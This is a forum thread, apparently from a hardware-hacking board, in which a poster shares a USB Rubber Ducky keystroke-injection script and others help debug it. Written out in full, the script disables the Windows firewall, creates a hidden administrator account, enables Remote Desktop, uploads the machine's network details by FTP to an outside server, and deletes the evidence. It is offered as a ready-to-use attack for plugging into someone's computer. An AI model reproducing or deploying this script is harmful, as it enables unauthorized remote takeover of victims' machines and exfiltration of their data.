Bucky67GTO Posted January 18, 2013 Share Posted January 18, 2013 (edited) OK all...Script for turning off the firewall, adding a user, making it an administrator, enabling remote access and sending (by FTP) the IP number to a server of your choice, then deleting the file. I am thinking something like netcat in the unix world? As always, Ideas? DELAY 2000 ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 CTRL-SHIFT ENTER DELAY 400 ALT y ENTER DELAY 400 STRING netsh firewall set opmode mode=disable ENTER DELAY 400 STRING net user /add username password ENTER DELAY 400 STRING net localgroup administrators username /add ENTER DELAY 400 STRING reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f ENTER DELAY 400 STRING reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f ENTER DELAY 400 STRING sc config TermService start= auto ENTER DELAY 400 STRING net start Termservice ENTER DELAY 400 STRING cd %USERPROFILE% ENTER DELAY 400 STRING ipconfig /all > number.txt ENTER DELAY 400 STRING ftp -i ftp server ENTER DELAY 400 STRING login name ENTER DELAY 400 STRING login password ENTER DELAY 600 STRING prompt ENTER DELAY 400 STRING prompt ENTER DELAY 400 STRING PUT number.txt ENTER DELAY 2000 STRING bye ENTER DELAY 400 STRING del number.txt ENTER DELAY 400 ALT SPACE STRING c Edited February 6, 2013 by midnitesnake Corrected Formatting, and small error Quote Link to comment Share on other sites More sharing options...
Bucky67GTO Posted January 19, 2013 Author Share Posted January 19, 2013 alright. News? does it work as intended....issues? Quote Link to comment Share on other sites More sharing options...
mrt0mat0 Posted January 20, 2013 Share Posted January 20, 2013 · Hidden by no42, February 6, 2013 - Corrected the highlighted mistake, these posts arent necessary Hidden by no42, February 6, 2013 - Corrected the highlighted mistake, these posts arent necessary line 9 - STRING ALT y .... drop the STRING, i think Link to comment
Bucky67GTO Posted January 21, 2013 Author Share Posted January 21, 2013 · Hidden by no42, February 6, 2013 - Corrected the highlighted mistake, these posts arent necessary Hidden by no42, February 6, 2013 - Corrected the highlighted mistake, these posts arent necessary I think you might be right...thanks Link to comment
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.